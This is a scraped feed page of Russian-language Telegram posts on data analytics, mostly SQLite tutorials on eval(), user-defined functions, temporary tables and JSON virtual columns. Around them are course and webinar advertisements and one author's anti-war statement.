FULL JOIN – закрытый канал для полного погружения в аналитику данныхДрузья, мы решили запустить новый формат – профессиональное комьюнити для тех, кому хочется больше экспертного контента от меня лично и команды моих лучших аналитиков. В отличие от этого публичного канала, там мы будем выпускать гораздо больше профессионального подробного контента для вас. А это значит, что мы постараемся раскрывать именно те темы, которые вы будете запрашивать (в рамках нашей с вами любимой области – аналитики и инжиниринга данных).В канале будет полная и подробная информация по вопросам аналитики данных (и не только!), которую я собирал годами и очень бы хотел знать на заре своей карьеры. Конечно, этот пр…

1 неделя, 3 дня назад @ t.me
SQLite на практике SQLite на практике
последний пост 2 месяца, 1 неделя назад
Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы
Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы

Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы:select eval('create table tmp(value int)');select eval('insert into tmp(value) values (1), (2), (3)');select eval('select value from tmp');select eval('drop table tmp');Функция входит в расширение define.

2 месяца, 1 неделя назад @ t.me
Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно опр
Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно опр

Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно определить собственную функцию:select define('sumn', ':n * (:n + 1) / 2');А затем использовать, как будто встроенную:> select sumn(5);15Пользовательские функции могут принимать несколько параметров и вызывать другие функции.Сгенерировать случайное N, такое что a ≤ N ≤ b:> select define('randint', ':a + abs(random()) % (:b - :a + 1)');> select randint(10, 99);42Можно даже задать функцию, которая возвращает несколько значений!Подробности в доку…

2 месяца, 3 недели назад @ t.me
Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto:
Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto:

Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto: криптографические хеш-функции вроде SHA-1 и SHA-256.— fileio: работа с файловой системой — чтение и запись файлов, создание каталогов.— fuzzy: нечеткое сравнение строк, фонетические алгоритмы, транслитерация.— ipaddr: манипуляция IP-адресами и подсетями.— json1: работа с JSON.— math: математические функции.— re: регулярные выражения.— stats: статистика — медиана, процентили, стандартное отклонение.— text: работа со строками.— unicode: подд…

3 месяца назад @ t.me
Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для
Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для

Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для аналитики» для выпускников «окошек» и «на практике».Так что если вы:— успешно решили все задачки в «SQLite на практике» (скидка 500₽),— или получили сертификат с отличием в «Оконные функции SQL» (скидка 500₽),— и хотите пройти «SQLite для аналитики»,то присылайте ссылку на свой Степик-профиль мне @nalgeon, чтобы получить промо-код.

6 месяцев, 2 недели назад @ t.me
Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v
Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v

Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v.employer_id join area as a on a.id = v.area_idТеперь хочется запускать запросы по сводным данным. Есть три способа это сделать:1) Common Table Expression (CTE)2) Представление (view)3) Временная таблица (temporary table)CTE я описывал в отдельной заметке, не буду повторяться. Важно, что CTE каждый раз вычисляется заново, так что если наш сводный select не особо быстрый — запросы по нему будут тормозить.Представление — это такой именованный…

6 месяцев, 2 недели назад @ t.me
JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11,
JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11,

JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": "2022-05-15T09:31:00Z", "object": "user", "object_id": 11, "action": "login", "details": { "ip": "192.168.0.1" }}Или пополнение счета:{ "timestamp": "2022-05-15T09:32:00Z", "object": "account", "object_id": 12, "action": "deposit", "details": { "amount": "1000", "currency": "USD" }}Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON. Заводите таблицу events с единственным полем value:select value from events;{"timestamp":"2022-05-15T09:31:00Z",...{"timestamp":"2022-05-15T09:32…

6 месяцев, 2 недели назад @ t.me
Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:se
Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:se

Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы. Например, есть столбец salary с зарплатой до вычета налогов:┌────────┐│ salary │├────────┤│ 120 ││ 90 ││ 155 │└────────┘Можно посчитать зарплату «на руки»:select id, salary*0.87 as net_salaryfrom employees;А чтобы не таскать везде эти вычисления, удобно создать виртуальный столбец.В общем виде синтаксис такой:alter table ТАБЛИЦАadd column СТОЛБЕЦ ТИП as (ВЫРАЖЕНИЕ);Для зарплат будет так:alter table employeesadd column net_salary real as ( salary*0.87);После этого столбец можно использовать в запросах точно так же, как обычные столбцы:select id, net_salaryfrom employees;Виртуальные столбцы не хранятся в …

6 месяцев, 4 недели назад @ t.me
Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J —
Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J —

Многострочные запросы в SQLite CLIСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и тогда многострочный запрос редактируется одним куском!

7 месяцев, 2 недели назад @ t.me
История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в ка
История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в ка

История команд SQLiteЕсли вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в каталоге пользователя и называется .sqlite_history. Он текстовый, так что можно просматривать хоть в редакторе. Если хотите сохранить в другом месте — укажите полный путь в переменной окружения SQLITE_HISTORY.История записывается в файл при штатном выходе из консоли, так что если «моргнет» электричество или еще что — команды, выполненные с последнего запуска sqlite3, потеряются.Конечно, запись истории — не единственная фича консоли. Например…

7 месяцев, 2 недели назад @ t.me
Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экс
Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экс

Курс «SQLite на практике»Запускаю новый курс! Подойдёт всем, кто знаком с основами SQL, и хочет узнать о возможностях и особенностях SQLite.Начал с трех модулей, хорошо знакомых выпускникам другого моего курса, «SQLite для аналитики»:— Импорт, анализ и экспорт данных.— Типы данных в SQLite.— Работа с JSON.В планах и другие модули, посвященные специфике SQLite.Курс пока бесплатный, но это не навсегда.Записывайтесь, если хотите прокачать понимание SQLite и не боитесь командной строки:SQLite на практике

8 месяцев, 3 недели назад @ t.me
ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление
ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление

ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление против Украины и ее граждан. Это преступление против мира.Если вы против войны — не молчите, заявите об этом. Необязательно выходить на улицу под дубинки полицейских. Напишите вашему депутату. Если ведете соцсети — напишите там. Подпишите петицию.Сейчас кто молчит — одобряет. Не молчите.Позволит ли конкретно ваш одинокий голос остановить войну? Конечно, нет. Руководству страны плевать на любые петиции. Но он поможет другим увидеть, что они…

9 месяцев, 1 неделя назад @ t.me
Datalytics Datalytics
последний пост 6 часов назад
Ищем учеников на бесплатное обучение по созданию искусственного интеллекта с нуля. Опыт программирования не важен!🤖Всего за 3 вечера под руководством Дмитрия Романова - основателя Университета Искусственного Интеллекта, лидера обучения AI-разработке в РФ,
Ищем учеников на бесплатное обучение по созданию искусственного интеллекта с нуля. Опыт программирования не важен!🤖Всего за 3 вечера под руководством Дмитрия Романова - основателя Университета Искусственного Интеллекта, лидера обучения AI-разработке в РФ,

Ищем учеников на бесплатное обучение по созданию искусственного интеллекта с нуля. Опыт программирования не важен!🤖Всего за 3 вечера под руководством Дмитрия Романова - основателя Университета Искусственного Интеллекта, лидера обучения AI-разработке в РФ, вы с легкостью напишете свой первый искусственный интеллект👨‍💻Какие нейронные сети вы создадите?👉Классификация марок молока👉Классификация людей на входящих и выходящих из автобуса👉Обнаружение возгораний👉Оценка стоимости квартир👉Классификация отзывов на Teslа👉Оценка резюме соискателей👉Прогнозирование стоимости полиметаллов👉Сегментация изображений самолетов👉Распознавание команд умного дома⠀Лучше освоить навыки создания нейронных сетей вам по…

6 часов назад @ t.me
IT — это для скучных и некреативных людей. Не согласен? Мы тоже! Поэтому «Лаборатория Касперского» запускает новый проект People in tech, чтобы разрушить главные стереотипы об IT-индустрии. На проекте профессиональные эксперты индустрии раскрывают секрет
IT — это для скучных и некреативных людей. Не согласен? Мы тоже!  Поэтому «Лаборатория Касперского» запускает новый проект People in tech, чтобы разрушить главные стереотипы об IT-индустрии.  На проекте профессиональные эксперты индустрии раскрывают секрет IT — это для скучных и некреативных людей. Не согласен? Мы тоже! Поэтому «Лаборатория Касперского» запускает новый проект People in tech, чтобы разрушить главные стереотипы об IT-индустрии. На проекте профессиональные эксперты индустрии раскрывают секрет

IT — это для скучных и некреативных людей. Не согласен? Мы тоже! Поэтому «Лаборатория Касперского» запускает новый проект People in tech, чтобы разрушить главные стереотипы об IT-индустрии. На проекте профессиональные эксперты индустрии раскрывают секреты своего карьерного пути и бросают вызов популярным заблуждениям: ● работа в IT — это скучно и однообразно; ● в IT нет места девушкам; ● нет креативных и творческих задач; ● в IT работают только интроверты; ● нетехнические специальности не востребованы в IT-корпорации. Переходите по ссылке и узнавайте реальные факты об IT 😉

1 день, 6 часов назад @ t.me
Понятная пятница в английском: скидка 10% на курсы для аналитиков и разработчиков.В английском много противоречий. Можно учиться на продвинутом уровне — и сохранять разговорный барьер. Или повторять по кругу одни и те же правила. В результате непросто заме
Понятная пятница в английском: скидка 10% на курсы для аналитиков и разработчиков.В английском много противоречий. Можно учиться на продвинутом уровне — и сохранять разговорный барьер. Или повторять по кругу одни и те же правила. В результате непросто заме Понятная пятница в английском: скидка 10% на курсы для аналитиков и разработчиков.В английском много противоречий. Можно учиться на продвинутом уровне — и сохранять разговорный барьер. Или повторять по кругу одни и те же правила. В результате непросто заме

Понятная пятница в английском: скидка 10% на курсы для аналитиков и разработчиков.В английском много противоречий. Можно учиться на продвинутом уровне — и сохранять разговорный барьер. Или повторять по кругу одни и те же правила. В результате непросто заметить прогресс и оценить, сколько ещё впереди. А мы выручим с этим.Практикум учитывает эти противоречия и проектирует прозрачный процесс обучения с предсказуемым результатом. Выберите подходящий курс и оплатите его со скидкой до 15 декабря: https://practicum.yandex.ru/english/clearfriday2022

2 дня, 5 часов назад @ t.me
6.12 / 19:00 по мск / Avito Analytics meetup #8 / clc.to/nIyFjgАналитики Авито, СберМаркета и Lamoda расскажут о работе с данными. В программе много кейсов! Реклама. ООО «Авито Тех». JapBIAMbv
6.12 / 19:00 по мск / Avito Analytics meetup #8 / clc.to/nIyFjgАналитики Авито, СберМаркета и Lamoda расскажут о работе с данными. В программе много кейсов! Реклама. ООО «Авито Тех». JapBIAMbv 6.12 / 19:00 по мск / Avito Analytics meetup #8 / clc.to/nIyFjgАналитики Авито, СберМаркета и Lamoda расскажут о работе с данными. В программе много кейсов! Реклама. ООО «Авито Тех». JapBIAMbv

6.12 / 19:00 по мск / Avito Analytics meetup #8 / clc.to/nIyFjgАналитики Авито, СберМаркета и Lamoda расскажут о работе с данными. В программе много кейсов! Реклама. ООО «Авито Тех». JapBIAMbv

6 дней, 7 часов назад @ t.me
Data Secrets — первый журнал в области науки о данных. Machine Learning, Data Science, AI - знакомые слова, но считаешь, что это очень сложно? Здесь мы на практических примерах освещаем последние достижения в этой области и учим азам: — рекомендательные си
Data Secrets — первый журнал в области науки о данных. Machine Learning, Data Science, AI - знакомые слова, но считаешь, что это очень сложно? Здесь мы на практических примерах освещаем последние достижения в этой области и учим азам: — рекомендательные си Data Secrets — первый журнал в области науки о данных. Machine Learning, Data Science, AI - знакомые слова, но считаешь, что это очень сложно? Здесь мы на практических примерах освещаем последние достижения в этой области и учим азам: — рекомендательные си

Data Secrets — первый журнал в области науки о данных. Machine Learning, Data Science, AI - знакомые слова, но считаешь, что это очень сложно? Здесь мы на практических примерах освещаем последние достижения в этой области и учим азам: — рекомендательные системы— прогнозирование временных рядов— генерация фото/видеоПрисоединяйся: @data_secrets

1 неделя назад @ t.me
В прошлом году проходил митап по аналитике от EXPF x Delivery Club. На митапе ребята много говорили про оценку экспериментов, так что эти доклады будут полезны аналитикам, которые в своей работе сталкиваются с проведением тестирований и анализом результато
В прошлом году проходил митап по аналитике от EXPF x Delivery Club. На митапе ребята много говорили про оценку экспериментов, так что эти доклады будут полезны аналитикам, которые в своей работе сталкиваются с проведением тестирований и анализом результато

В прошлом году проходил митап по аналитике от EXPF x Delivery Club. На митапе ребята много говорили про оценку экспериментов, так что эти доклады будут полезны аналитикам, которые в своей работе сталкиваются с проведением тестирований и анализом результатов тестов. Я делился анонсом трансляции, но анализируя прошлые посты, понял, что не поделился записями докладовИсправляюсь:1️⃣«Что делать, если возникли сомнения, подходит ли твой критерий для твоего теста (а они должны возникать!)», Тимур Исмагилов, Avito2️⃣«Платформа switchback-экспериментов в Ситимобил», Артём Солоухин, Cитимобил3️⃣«Как мы ищем точки роста в продукте: пошаговая инструкция», Владимир Абазов, Delivery Club4️⃣«Скрытая угроз…

1 неделя назад @ t.me
Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности
Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности

Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности в пиковые периоды и экономить затраты во время простоя.Также мы покажем, как организовать хранение данных в S3 и преобразовывать их с помощью SQL-запросов. Поделимся планами и направлениями развития сервиса.Участие бесплатное.➡️ Регистрируйтесь на вебинар

1 неделя, 1 день назад @ t.me
Вчера на вебинаре с Артёмом Исакиным и Ритой Нижельской поговорили про различия между аналитиками данных и аналитиками требований (бизнес- и системными)Подробно рассказали:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на
Вчера на вебинаре с Артёмом Исакиным и Ритой Нижельской поговорили про различия между аналитиками данных и аналитиками требований (бизнес- и системными)Подробно рассказали:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на Вчера на вебинаре с Артёмом Исакиным и Ритой Нижельской поговорили про различия между аналитиками данных и аналитиками требований (бизнес- и системными)Подробно рассказали:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на

Вчера на вебинаре с Артёмом Исакиным и Ритой Нижельской поговорили про различия между аналитиками данных и аналитиками требований (бизнес- и системными)Подробно рассказали:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на что смотрят работодатели про трудоустройстве https://www.youtube.com/watch?v=aE1X1KlKJZ8

1 неделя, 2 дня назад @ t.me
Запись вебинара с мероприятия «Управляемый сервис YDB: настройка, применение, мониторинг»🔩 YDB — реляционная СУБД, которая была разработана в Яндексе. YDB позволяет создавать интерактивные приложения, которые можно быстро масштабировать, когда растёт нагру
Запись вебинара с мероприятия «Управляемый сервис YDB: настройка, применение, мониторинг»🔩 YDB — реляционная СУБД, которая была разработана в Яндексе. YDB позволяет создавать интерактивные приложения, которые можно быстро масштабировать, когда растёт нагру

Запись вебинара с мероприятия «Управляемый сервис YDB: настройка, применение, мониторинг»🔩 YDB — реляционная СУБД, которая была разработана в Яндексе. YDB позволяет создавать интерактивные приложения, которые можно быстро масштабировать, когда растёт нагрузка и объём данных. Применение YDB как управляемого сервиса позволяет разработчикам и архитекторам сосредоточиться на бизнес-задачах, а команда Yandex Cloud возьмёт на себя заботы о надёжности, производительности и ресурсной эффективности баз данных.На вебинаре показали, как:— начать работу с сервисом;— подключить приложения и настроить аутентификацию;— контролировать потребление ресурсов;— работать с доступными инструментами мониторинга;—…

1 неделя, 3 дня назад @ t.me
➡️Прогноз LTV: как выбрать модель и оценить результатНа ютубе появилась запись вебинара от команды предиктивной аналитики MyTrackerНа вебинаре обсуждали:▶️зачем нужен прогноз LTV;▶️как выбрать модель под разные кейсы;▶️как правильно оценивать прогноз;▶️как
➡️Прогноз LTV: как выбрать модель и оценить результатНа ютубе появилась запись вебинара от команды предиктивной аналитики MyTrackerНа вебинаре обсуждали:▶️зачем нужен прогноз LTV;▶️как выбрать модель под разные кейсы;▶️как правильно оценивать прогноз;▶️как

➡️Прогноз LTV: как выбрать модель и оценить результатНа ютубе появилась запись вебинара от команды предиктивной аналитики MyTrackerНа вебинаре обсуждали:▶️зачем нужен прогноз LTV;▶️как выбрать модель под разные кейсы;▶️как правильно оценивать прогноз;▶️какие есть ограничения и критерии применимости моделей.Ссылка на вебинар 🚛 https://www.youtube.com/watch?v=e8JKKAjWoqw

1 неделя, 4 дня назад @ t.me
Завтра (21.11.2022) буду рассказывать на вебинаре Яндекс.Практикума кто такие аналитики данных и почему аналитик данных ≠ продуктовый аналитик, но зато любой продуктовый аналитик = аналитик данныхТакже Рита Нижельская (экс-руководитель команды системных ан
Завтра (21.11.2022) буду рассказывать на вебинаре Яндекс.Практикума кто такие аналитики данных и почему аналитик данных ≠ продуктовый аналитик, но зато любой продуктовый аналитик = аналитик данныхТакже Рита Нижельская (экс-руководитель команды системных ан Завтра (21.11.2022) буду рассказывать на вебинаре Яндекс.Практикума кто такие аналитики данных и почему аналитик данных ≠ продуктовый аналитик, но зато любой продуктовый аналитик = аналитик данныхТакже Рита Нижельская (экс-руководитель команды системных ан

Завтра (21.11.2022) буду рассказывать на вебинаре Яндекс.Практикума кто такие аналитики данных и почему аналитик данных ≠ продуктовый аналитик, но зато любой продуктовый аналитик = аналитик данныхТакже Рита Нижельская (экс-руководитель команды системных аналитиков в «Мегафон») расскажет про различия между бизнес-аналитиками и системными аналитикамиПоговорим про:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на что смотрят работодатели про трудоустройстве Ну и поотвечаем на вопросы аудитории, конечно. Это всегда самое интересное)⏩Регистрироваться тутНачало в 15:00

1 неделя, 4 дня назад @ t.me
🤔Что общего у бортпроводников, хирургических бригад и успешных специалистов по анализу данных? Все они используют читлисты. Читлисты – это шпаргалки, в которых собраны базовые действия. Несмотря на то, что каждая операция, каждый проект и каждый полет имею
🤔Что общего у бортпроводников, хирургических бригад и успешных специалистов по анализу данных? Все они используют читлисты. Читлисты – это шпаргалки, в которых собраны базовые действия. Несмотря на то, что каждая операция, каждый проект и каждый полет имею

🤔Что общего у бортпроводников, хирургических бригад и успешных специалистов по анализу данных? Все они используют читлисты. Читлисты – это шпаргалки, в которых собраны базовые действия. Несмотря на то, что каждая операция, каждый проект и каждый полет имеют свои особенности, во всех этих вещах есть необходимые основные шаги.Мы собрали для вас шпаргалки по Python для анализа данных, чтобы вам не пришлось тратить время на поиск банальных функций: 🔷 Numpy. Практически в каждом проекте по анализу данных есть вычисления с помощью этого модуля. Numpy помогает при работе с массивами, матрицами, операциями из линейной алгебры и другими математическими вычислениями. Сохраняйте шпаргалку по Numpy отс…

1 неделя, 6 дней назад @ t.me
Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланирова
Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланирова Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланирова

Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланировать переезд на новую BI‑систему как отдельных дашбордов, так и целых аналитических систем.Помимо этого вас ждут живые Q&A-сессии, кейсы реальных проектов, конкурс и сюрпризы для победителей.Получите знания для построения полноценной системы бизнес-аналитики и прокачайте свои скиллы по работе с дашбордами.Участие бесплатное, нужно только ➡️ зарегистрироваться

2 недели назад @ t.me
→ 20% скидки на курсы по анализу данных от Яндекса.К Чёрной пятнице Яндекс Практикум подготовил акцию, где можно получить скидку от Яндекса на курсы по анализу данных. Скидка действует только при оплате помесячно или в кредит.Можно стать системным аналитик
→ 20% скидки на курсы по анализу данных от Яндекса.К Чёрной пятнице Яндекс Практикум подготовил акцию, где можно получить скидку от Яндекса на курсы по анализу данных. Скидка действует только при оплате помесячно или в кредит.Можно стать системным аналитик → 20% скидки на курсы по анализу данных от Яндекса.К Чёрной пятнице Яндекс Практикум подготовил акцию, где можно получить скидку от Яндекса на курсы по анализу данных. Скидка действует только при оплате помесячно или в кредит.Можно стать системным аналитик

→ 20% скидки на курсы по анализу данных от Яндекса.К Чёрной пятнице Яндекс Практикум подготовил акцию, где можно получить скидку от Яндекса на курсы по анализу данных. Скидка действует только при оплате помесячно или в кредит.Можно стать системным аналитиком, инженером данных, бизнес-аналитиком и продуктовым аналитиком. А ещё — изучить основы математики для аналитиков, SQL и BI-инструменты.Практикум поможет сделать это с помощью четырёх «П»:◾️️ ПрактикаОтработка теории в тренажёре и на учебных проектах.️◾️ ПроектыНесколько самостоятельных исследований или проектов в портфолио, которые покажут, что вы умеете решать рабочие задачи.️ ◾️ПоддержкаНаставники помогут советом и объяснят сложные тем…

2 недели, 2 дня назад @ t.me
🚀 Big Data - действительно полезный канал для всех, кто работает с данными. - огромный набор бесплатных наборов данных - инструменты для работы с данными- обучающие материалы для датасаентистов - лучшие практики Машинного Обучения- перевод книг и статей🔥
🚀 Big Data -  действительно полезный канал для всех, кто работает с данными.  - огромный набор бесплатных наборов данных - инструменты для работы с данными- обучающие материалы для датасаентистов - лучшие практики Машинного Обучения- перевод книг и статей🔥 🚀 Big Data - действительно полезный канал для всех, кто работает с данными. - огромный набор бесплатных наборов данных - инструменты для работы с данными- обучающие материалы для датасаентистов - лучшие практики Машинного Обучения- перевод книг и статей🔥

🚀 Big Data - действительно полезный канал для всех, кто работает с данными. - огромный набор бесплатных наборов данных - инструменты для работы с данными- обучающие материалы для датасаентистов - лучшие практики Машинного Обучения- перевод книг и статей🔥 Подписаться

2 недели, 6 дней назад @ t.me
Труба данных Труба данных
последний пост 8 часов назад
https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoi
https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoi

https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoint презентаций, а прям лекций в университетах. Вот его сайт - https://lexfridman.com/У него есть подкаст, в который приходят поговорить умные люди из индустрии, немного рядом или вообще далеко. Но всегда слушать интересно. Например, Цукерберг, Маск, Дорси, Карпати, Карлсен (который гроссмейстер), Кармак, Роган, даже Канье Вест залетал.Так вот, в свежем выпуске создатель Питончика размышляет про будущее программирования. Оч советую послушат…

8 часов назад @ t.me
Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата ин
Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀  В этом эпизоде мы поговорим о важности роли дата ин Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата ин

